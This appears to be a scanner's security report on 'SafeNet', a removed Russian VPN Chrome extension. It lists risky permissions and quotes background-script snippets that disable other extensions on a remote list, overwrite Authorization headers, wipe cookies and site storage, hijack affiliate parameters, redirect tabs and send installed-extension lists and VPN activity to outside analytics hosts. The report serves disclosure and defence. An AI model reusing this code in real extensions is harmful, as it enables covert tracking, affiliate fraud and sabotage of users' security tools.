SafeNet - Доступ к сайтам!

ID: aclbgmfhbepcelnfkhipeafgacffclgo

Could be malicious

Supported Languages

🇷🇺Russian

Extension Info & Metadata

Status
Removed
Version
31.26
Size
1.11 MB
Rating
0.0/5
Reviews
0
Users
8,074
Type
Extension
Updated
Dec 1, 2022
Category
11_web-development
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
Yes

Publisher Contextual Analysis

Trusted
Author
beentoriedctView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
2
Active
0
Obsolete
2
Listed
2
Unlisted
0
Total Users
14,187

Доступ к вашим любимым сайтам!

Разблокируйте сайты, заблокированные в вашей стране, компании или школе, с помощью SafeNet . SafeNet - это бесплатный прокси-сервис VPN без рекламы, который обеспечивает более быстрый и более открытый Интернет. Разблокируйте сайты, заблокированные или подвергнутые цензуре в вашей стране, компании и школе, и транслируйте мультимедиа с помощью бесплатного прокси-сервера SafeNet . Это не одноранговое приложение. Это расширение не ссылается и не поощряет загрузку каких-либо других продуктов и является полностью функциональным как есть, не требуя дополнительной загрузки. Если у вас есть какие-либо технические проблемы, пожалуйста, напишите нам по адресу [email protected] SafeNet требует следующих разрешений: - Proxy: расширение SafeNet проксирует ваш трафик через сервер в другой страна, чтобы изменить свой IP и разблокировать ограниченные сайты. - AllHosts / WebRequest / WebRequestBlocking: позволить расширению SafeNet проверять каждый веб-запрос и изменять его.. - Tabs: SafeNet отслеживает ваши вкладки и включает VPN только на определенных вкладках и показывает всплывающее окно на странице, чтобы позволить вам включать, отключать и исправлять проблемы с подключением. - Cookies: SafeNet получит доступ к вашим куки. Некоторые сайты кэшируют вашу страну в файлах cookie, и необходимо очистить их, прежде чем вы сможете получить доступ к этому сайту из другой страны. - Stroge: SafeNet хранит локальную конфигурацию и данные кеша.

Item
Type
Severity
Description
proxy
Permission
Critical
This permission allows the extension to control the browser's proxy settings. Rated Critical because it can route all traffic through potentially malicious proxies, enabling man-in-the-middle attacks and traffic monitoring.
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
webRequestBlocking
Permission
Critical
This permission allows the extension to intercept, modify, or block any web request in real-time before it reaches its destination. Rated Critical because it can modify sensitive data (like passwords, credit cards) before encryption, redirect traffic to malicious sites, or block security updates.
declarativeNetRequest
Permission
Critical
This permission allows the extension to define rules to block, redirect, or modify network requests. Rated Critical because it can control all network traffic, potentially blocking security updates or redirecting to malicious sites.
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
Dangerous Permission Combination: proxy,webRequestBlocking,webRequest
Risk Factor
Critical
Complete control over network traffic and routing
Dangerous Permission Combination: proxy,webRequestBlocking,declarativeNetRequest
Risk Factor
Critical
Complete control over network traffic and routing
Dangerous Permission Combination: proxy,webRequestBlocking,cookies
Risk Factor
Critical
Allows extensions to intercept web requests, manage cookies, and access identity or certificate-related functionalities, potentially compromising secure access and authentication processes.
Dangerous Permission Combination
Risk Factor
Critical
This extension can intercept, modify, and block web requests in real-time.
cookies
Permission
High
This permission provides full access to read and modify browser cookies. Rated High because it can steal session tokens, modify authentication cookies, and compromise accounts across websites.
Dangerous Permission Combination: scripting,cookies,webRequest
Risk Factor
High
Enables extensions to interact with scripts, modify files and downloads, and alter browsing history and bookmarks, potentially affecting data integrity and user control.
Dangerous Permission Combination: declarativeNetRequest,proxy,webRequestBlocking
Risk Factor
High
Enables extensions to operate in the background, intercept web requests, and manage privacy settings and browsing data, facilitating concealed actions and potentially undetected modifications.
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
Broad Content Script Access
Risk Factor
High
This extension can inject scripts into any website.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
activeTab
Permission
Medium
This permission grants temporary access to the current tab. Rated Medium because it can access current page content when invoked, though limited to user-initiated actions.
management
Permission
Medium
This permission manages other installed extensions. Rated Medium because it can enable/disable other extensions and modify their settings, with changes being visible to users.
alarms
Permission
Low
This permission schedules periodic tasks. Rated Low because it can only trigger events at specified times without access to sensitive data.

Reads a remote-controlled `rmList` from the server config and silently disables any user-installed extensions whose IDs appear on the list via chrome.management.setEnabled(id, false). This is privilege abuse: the operator can sabotage/disable arbitrary competing or security extensions on every user's browser without the user's knowledge or consent.

app/scripts/background.js (Line 24108)
chrome.management.getSelf(function(t) {  t.id;  xt.config.rmList.length > 0 && chrome.management.getAll && chrome.management.getAll(function(t) {    t.forEach(function(t) {      var n = t.id;      t.enabled && -1 !== xt.config.rmList.indexOf(n) && chrome.management.setEnabled(n, !1)    })  })})

Installs a dynamic declarativeNetRequest rule that overwrites the `Authorization` header (not just `Proxy-Authorization`) on every main_frame HTTPS request across <all_urls> with the proxy account's base64 credentials. Overwriting the user-agent's Authorization header on arbitrary websites breaks/hijacks site authentication and can expose proxy credentials to every site the user visits — a network-interception primitive far broader than what a VPN/proxy needs.

app/scripts/background.js (Line 23304)
chrome.declarativeNetRequest.updateDynamicRules({  addRules: [{    id: 56409783,    priority: 1,    action: {      type: "modifyHeaders",      requestHeaders: [{        header: "Authorization",        operation: "set",        value: btoa(t.proxyApi.username + ":" + t.proxyApi.password)      }, {        header: "Proxy-Authorization",        operation: "set",        value: "Basic " + btoa(t.proxyApi.username + ":" + t.proxyApi.password)      }]    },    condition: {      urlFilter: "|https*",      resourceTypes: ["main_frame"]    }  }]}, function(t) {  console.log("chrome.declarativeNetRequest.updateDynamicRules", t)})

On install (and on toggling analytics) the extension enumerates every other installed Chrome extension via chrome.management.getAll and exfiltrates the full list of extension IDs to its analytics backend. This installed-software fingerprint is sent as a Google-Analytics 'Installed' event — an unauthorized inventory of the user's browser environment that is unrelated to the extension's stated VPN purpose.

app/scripts/background.js (Line 21294)
chrome.management.getAll(function(t) {var e = t.map(function(t) {  return t.id});n.analytics.send({  ec: "Management",  ea: "Installed",  el: JSON.stringify(e)})}))

The 'terminator' module injects code into arbitrary merchant tabs that wipes localStorage and sessionStorage entries based on a remote-fetched config from mallbery.com. Programmatically clearing other websites' client storage from a remote-controlled list is a stealth manipulation of third-party site state used to hijack affiliate/cashback attribution, and constitutes unauthorized tampering with first-party data on those sites.

app/scripts/background.js (Line 20999)
s = function(t, n) {  var e = function(t, n) {    if ("*" !== n[0]) {      var e = Object.keys(t);      n.forEach(function(t) {        e[t] && delete e[t]      }), e.forEach(function(n) {        t.removeItem(n)      })    }  };  e(localStorage, t), e(sessionStorage, n)}, chrome.scripting.executeScript({  target: {    tabId: c  },  func: s,  args: [u.localStorage, u.sessionStorage]})

For every domain in the remote 'terminator' config, the extension iterates the user's cookies via chrome.cookies and calls chrome.cookies.remove on any cookie whose name is not whitelisted. This silently destroys the user's existing cookies (sessions, affiliate tags) on third-party domains chosen by a remote operator — a covert manipulation of cross-site state.

app/scripts/background.js (Line 21042)
r = !0, i = p.find(  function(t) {    return e.domain.includes(t)  }), h[i] && (1 === h[i].length && "*" === h[i][0] ? r = !1 : h[i].forEach(function(t) {  t === e.name && (r = !1)})), r && chrome.cookies.remove({  url: n,  name: e.name});

Attaches a chrome.webRequest.onBeforeRequest listener across <all_urls> recording every URL origin a tab requests, and simultaneously installs a declarativeNetRequest rule that blocks any URL containing affiliate-tracking parameters `t_tid=` or `t_s=`. Stripping these parameters is a classic affiliate-cookie-stuffing/hijack technique that diverts revenue from legitimate referrers to the extension operator while also harvesting the user's full domain-visit history.

app/scripts/background.js (Line 20831)
a = {    urls: ["<all_urls>"],    tabId: r,    types: ["main_frame", "sub_frame", "image", "script"]  },  u = function(t) {    var n = e.merchantDomains[i] || {        data: {}      },      r = new URL(t.url).origin;    n.data[r] = Date.now(), e.merchantDomains[i] = n  };...chrome.webRequest.onBeforeRequest.addListener(this    .merchantRequestListeners[i].listener, a), chrome.declarativeNetRequest  .updateDynamicRules({      addRules: [{        id: 88,        priority: 1,        action: {          type: "block"        },        condition: {          regexFilter: "(t_tid=)|(t_s=)",          resourceTypes: ["csp_report", "font", "image", "main_frame", "media", "object", "other", "ping", "script", "stylesheet", "sub_frame", "webbundle", "websocket", "webtransport", "xmlhttprequest"]        }      }]

The extension is advertised as a Russian VPN ('SafeNet — Доступ к сайтам') for the safenet.su brand, but the bundled background script silently talks to a completely different stack of unrelated commercial domains: mallbery.com, analytics.savematik.com, analytics.besttoolbars.net, api.trademc.org, and netmax.online. None of these are disclosed in the user-facing UI; this is a bundled affiliate/coupon/analytics SDK piggybacking on a VPN extension.

app/scripts/background.js (Line 18730)
L = "mallbery.com",  C = "https://".concat(L),  M = "https://analytics.savematik.com",  D = ("".concat(C, "/"), "".concat(C, "/privacy-policy"), "".concat(C, "/redirect?skipVersion=true&v=")    .concat(encodeURIComponent(chrome.runtime.getManifest()      .version), "&link=")),  z = "".concat(C, "/api/auth/refresh-token"),  N = "".concat(C, "/api/offers"),  F = "".concat(C, "/api/masterOffers/getLastModifiedDate"),  U = "".concat(C, "/api/coupons"),  ...  at = {    API_URL: "https://pingapi.".concat(L, "/api/ping"),    DELAY: 9e5  }

User VPN activity events are POSTed to analytics.besttoolbars.net — a third-party advertising/toolbar analytics provider unrelated to the extension's stated VPN function. Sending VPN-usage telemetry off to an ad-tech endpoint is undisclosed third-party tracking of users' browsing behavior.

app/scripts/background.js (Line 21398)
this.settings.isAnalyticsEnabled && (this.analytics.send(n.ga), n.caaAnalytics && fetch(  "https://analytics.besttoolbars.net/api/v1/activity/vpn", {    method: "POST",    headers: {      "Content-Type": "application/json"    },    body: JSON.stringify(n.caaAnalytics)  }))

On every tab navigation the extension auto-injects content.bund.js + multiple feature modules (yandexMarket, uSearch, iamb, YTAd, scriptDomains, installBanner) into the page at document_start across <all_urls>. The 'YTAd' / yandexMarket / scriptDomains / installBanner modules are not disclosed by the extension name (a VPN) and are loaded from remote-config-driven sources — broad scripting privilege used for ad/coupon injection and banner overlay on third-party sites.

app/scripts/background.js (Line 24122)
t.onComplete.addListener(function() {  t.injectCSS({    runAt: "document_start",    file: "app/styles/content.bund.css"  }, function() {    t.injectScript({      runAt: "document_start",      file: "app/scripts/content.bund.js"    }, function() {      t.messages.reset(), !0 === xt.storage.hm ? void 0 !== t.installBanner && t        .installBanner.addContent() : !1 === xt.storage.hm && (xt.proxy.addContent(t),          xt.yandexMarket.newTab(t)), xt.uSearch.newTab(t), xt.iamb.newTab(t), xt.YTAd        .newTab(t), xt.scriptDomains.newTab(t)    })  })})

At install time the server can supply an `installLink`. The extension scans every open tab for `utm_content=c40zz35d`, closes those tabs, and replaces them with the operator-supplied URL. This rewrites the user's existing browsing session on a remotely controlled signal — a covert tab redirect / install-source attribution-laundering primitive that the user has no opportunity to consent to.

app/scripts/background.js (Line 24001)
this.request.post("/extension/install", {}, {  error: function() {    n(15e3)  },  success: function(e) {    if (void 0 === e.data) return n(15e3);    if (!0 !== e.result) return n(15e3);    r.storage.install_jwt_token = e.data.token, r.storage.install_hash = e.data.hash, r.storage.hm = e      .data.hm, r.storage.euId = e.data.id, r.storage.pId = e.data.pid, r.storage.cpId = e.data.cpId,      r.storage.spId = e.data.spId;    try {      void 0 !== e.data.settings && void 0 !== e.data.settings.installLink && null !== e.data.settings        .installLink && chrome.tabs.query({}, function(t) {          if (0 !== t.length) {            for (var n = [], r = 0; r < t.length; r++) - 1 !== t[r].url.indexOf(              "utm_content=c40zz35d") && n.push(t[r].id);            n.length > 0 && (chrome.tabs.remove(n, function() {}), chrome.tabs.create({              url: e.data.settings.installLink,              active: !0            }, function(t) {}))          }        })    } catch (t) {      console.log(t)    }  }})

All API requests to safenet.su are authenticated with a persistent `install_jwt_token` granted at install time and a unique install_hash. Combined with the chrome.runtime.setUninstallURL hook (line 24106) that pings the server with the install_hash on uninstall, this provides per-user device tracking and persistent server-side identity tied to one extension install across sessions and IPs.

app/scripts/background.js (Line 21999)
o = {    Accept: "application/json",    "Content-Type": "application/json",    "Extension-ID": this.app.info.id,    "Extension-Version": this.app.info.version  }, void 0 !== this.app.storage.install_jwt_token && (o.Authorization =    "Bearer " + this.app.storage.install_jwt_token), i.a.isObject(r) || (    r = {}), void 0 === r.success && (r.success = function() {}), void 0 === r  .error && (r.error = function() {}), void 0 === r.complete && (r.complete =    function() {}), t.next = 10, fetch(EXTENSION_CONFIG.BASE + "/api" + n +    "?" + this.buildQuery(e), {      method: "GET",      headers: o    })

On uninstall the browser is forced to GET safenet.su/api/extension/uninstall with the user's persistent install_hash. This silently reports a per-user identifier back to the operator at the moment of removal — a tracking signal the user cannot opt out of.

app/scripts/background.js (Line 24106)
chrome.runtime.setUninstallURL(EXTENSION_CONFIG  .BASE + "/api/extension/uninstall?id=" + this.storage.install_hash,  function() {})

Subscription purchase is routed through api.trademc.org / pay.trademc.org — a Minecraft-server payments provider — using the per-install hash as buyer identifier. Payment is opened in a new tab and the success/pending/fail callbacks are then auto-closed by the extension (line 23069). Funneling VPN payments through an unrelated game-shop API and silently closing the redirect tabs hides the actual money flow from the user and is a strong indicator of a bundled/rebranded affiliate-fraud kit.

app/scripts/background.js (Line 23035)
fetch("https://api.trademc.org/shop.buyItems?items=".concat(t.app.config      .subscription.productId, ":1&buyer=")    .concat(t.app.storage.install_hash, "&v=3"))  .then(function(t) {    if (200 !== t.status) throw new Error("Fetch error: " + t);    return t.json()  }, function(t) {})  .then(function(t) {      if (!0 !== _.isObject(t)) return !1;      var n = void 0 === t.response ? {} : t.response;      if (n.cart_id) {        var e = EXTENSION_CONFIG.BASE + "/api/payment/status/success",          r = EXTENSION_CONFIG.BASE + "/api/payment/status/pending",          i = EXTENSION_CONFIG.BASE + "/api/payment/status/fail";        chrome.tabs.create({              url: "https://pay.trademc.org/?cart_id=".concat(n.cart_id,                "&success_url=")

By severity

Critical2
High8
Medium3
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
31.2613

Files with findings

1 distinct path — top paths by unique finding count:

  • app/scripts/background.js13
S.No.
Category
Severity
File
Summary
Found in Version
1Network Interception
critical
app/scripts/background.js (line 23304)Installs a dynamic declarativeNetRequest rule that overwrites the `Authorization` header (not just `Proxy-Authorization`) on every main_frame HTTPS request across <all_urls> with the proxy account's base64 credentials…
2Privilege Escalation
critical
app/scripts/background.js (line 24108)Reads a remote-controlled `rmList` from the server config and silently disables any user-installed extensions whose IDs appear on the list via chrome.management.setEnabled(id, false). This is privilege abuse: the oper…
3Code Injection
high
app/scripts/background.js (line 24122)On every tab navigation the extension auto-injects content.bund.js + multiple feature modules (yandexMarket, uSearch, iamb, YTAd, scriptDomains, installBanner) into the page at document_start across <all_urls>. The 'Y…
4Network Interception
high
app/scripts/background.js (line 20999)The 'terminator' module injects code into arbitrary merchant tabs that wipes localStorage and sessionStorage entries based on a remote-fetched config from mallbery.com. Programmatically clearing other websites' client…
5Network Interception
high
app/scripts/background.js (line 21042)For every domain in the remote 'terminator' config, the extension iterates the user's cookies via chrome.cookies and calls chrome.cookies.remove on any cookie whose name is not whitelisted. This silently destroys the …
6Network Interception
high
app/scripts/background.js (line 24001)At install time the server can supply an `installLink`. The extension scans every open tab for `utm_content=c40zz35d`, closes those tabs, and replaces them with the operator-supplied URL. This rewrites the user's exis…
7Tracking
high
app/scripts/background.js (line 20831)Attaches a chrome.webRequest.onBeforeRequest listener across <all_urls> recording every URL origin a tab requests, and simultaneously installs a declarativeNetRequest rule that blocks any URL containing affiliate-trac…
8Tracking
high
app/scripts/background.js (line 21398)User VPN activity events are POSTed to analytics.besttoolbars.net — a third-party advertising/toolbar analytics provider unrelated to the extension's stated VPN function. Sending VPN-usage telemetry off to an ad-tech …
9Unauthorized Data Collection
high
app/scripts/background.js (line 21294)On install (and on toggling analytics) the extension enumerates every other installed Chrome extension via chrome.management.getAll and exfiltrates the full list of extension IDs to its analytics backend. This install…
10Unauthorized Data Collection
high
app/scripts/background.js (line 18730)The extension is advertised as a Russian VPN ('SafeNet — Доступ к сайтам') for the safenet.su brand, but the bundled background script silently talks to a completely different stack of unrelated commercial domains: ma…
11Other
medium
app/scripts/background.js (line 23035)Subscription purchase is routed through api.trademc.org / pay.trademc.org — a Minecraft-server payments provider — using the per-install hash as buyer identifier. Payment is opened in a new tab and the success/pending…
12Tracking
medium
app/scripts/background.js (line 21999)All API requests to safenet.su are authenticated with a persistent `install_jwt_token` granted at install time and a unique install_hash. Combined with the chrome.runtime.setUninstallURL hook (line 24106) that pings t…
13Tracking
medium
app/scripts/background.js (line 24106)On uninstall the browser is forced to GET safenet.su/api/extension/uninstall with the user's persistent install_hash. This silently reports a per-user identifier back to the operator at the moment of removal — a track…
URLs
31
IPv4
4
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

fontello.commaterial-http://fontello.comMaterial
www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtdhttp://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd
www.w3.org/2000/svghttp://www.w3.org/2000/svg
fonts.googleapis.com/iconhttps://fonts.googleapis.com/icon?family=Material+Icons
www.w3.org/1999/xlinkhttp://www.w3.org/1999/xlink
lodash.com-https://lodash.com/
js.foundation-https://js.foundation/
lodash.com/licensehttps://lodash.com/license
underscorejs.org/LICENSEhttp://underscorejs.org/LICENSE
npms.io/searchhttps://npms.io/search?q=ponyfill.
Showing 1 to 10 of 40 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

26.141.185.3
IPv4
-
3.135.246.134
IPv4
-
2.1.218.176
IPv4
-
158.131.243.243
IPv4
-
Version
Size
Is Malicious
Findings
Permhash
31.26
Latest
1.11 MB
Malicious
13
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.